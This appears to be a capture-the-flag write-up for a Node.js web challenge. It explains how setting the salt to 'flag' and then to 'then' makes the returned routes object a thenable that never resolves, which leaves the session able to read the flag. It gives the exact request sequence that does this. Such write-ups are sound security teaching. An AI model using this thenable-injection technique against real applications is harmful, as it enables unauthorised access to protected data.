You are given a website.
It is doing some weird job. First, it constructs routes object based on the salt parameter and store it to the session.
const setRoutes = async (session, salt) => {
const index = await fs.readFile('index.html');
session.routes = {
flag: () => '*** CENSORED ***',
index: () => index.toString(),
scrypt: (input) => crypto.scryptSync(input, salt, 64).toString('hex'),
base64: (input) => Buffer.from(input).toString('base64'),
set_salt: async (salt) => {
session.routes = await setRoutes(session, salt);
session.salt = salt;
return 'ok';
},
[salt]: () => salt,
};
return session.routes;
};
Then, it will render the page based on the routes object.
app.get('/', async (request, reply) => {
// omitted
const {action, data} = request.query || {};
let route;
switch (action) {
case 'Scrypt': route = 'scrypt'; break;
case 'Base64': route = 'base64'; break;
case 'SetSalt': route = 'set_salt'; break;
case 'GetSalt': route = session.salt; break;
default: route = 'index'; break;
}
reply.type('text/html')
return session.routes[route](data);
});
The flag is in the flag
route, so you will want to set session.salt = 'flag'
, but by doing so, flag
route will be overwritten by [salt]
end point and you will lose access to it.
So, what we want to achieve is the following session state.
session = {
routes: {
flag: ...,
index: ...,
...
[salt]: ..., // salt is anything different from 'flag'
},
salt: 'flag',
}
First, you have to send GET /?action=SetSalt&data=flag
to set salt = 'flag'
. The session will be the following structure.
session = {
routes: {
flag: ..., // this route is overwritten and not accessible
index: ...,
...
flag: ...,
},
salt: 'flag',
}
Second is the most important part. Now we want to recover session.routes
so that we can access the flag
route, but we don't want to update salt
.
The key is set_salt
function. Normally, it updates routes and salt together.
set_salt: async (salt) => {
session.routes = await setRoutes(session, salt);
session.salt = salt;
return 'ok';
},
What if line 2 is executed but line 3 is NEVER executed? It is possible.
In line 2, we are await
-ing the execution of setRoutes
function. Do you know async
/await
in ECMAScript is just a syncax sugar of Promise
? So, we can transform this function to the following equivalent code.
set_salt: (salt) => {
return setRoutes(session, salt).then((result) => {
session.routes = result;
session.salt = salt;
return 'ok';
});
},
The key is that the code is calling the chained method then()
from the returned value of setRoutes
function. What is the return value of this function?
const setRoutes = async (session, salt) => {
const index = await fs.readFile('index.html');
session.routes = {
// omitted
[salt]: () => salt,
};
return session.routes;
};
It is returning the result of session.routes
. This is unnecessary since the assignment to session.route
is already done.
Okay, we can control this value by salt
parameter. What if we set salt = 'then'
? It will return the following object.
{
// omitted
then: () => salt,
}
As you can infer from the above code, this then
method will be called with callback function as an argument. If the function is called, the returned value is considered to be resolve
-ed and the process continues. But, this then()
method is just ignoring the argument and the function is never called.
So, by setting salt = 'then'
, the assignment to session.routes
happens inside setRoutes
function, but setRoute
function is not resolved and the assignment to session.salt
never happens.
So, send GET /?action=SetSalt&data=then
to server and this will result in the following session state.
session = {
routes: {
flag: ...,
index: ...,
...
then: ...,
},
salt: 'flag',
}
This is what we want to achieve!
Now, just request the salt and it will print the flag!
GET /?action=GetSalt
return session.routes[route](data); // route = session.salt here
In technical term, this is called Thenable Object.
Several reasons.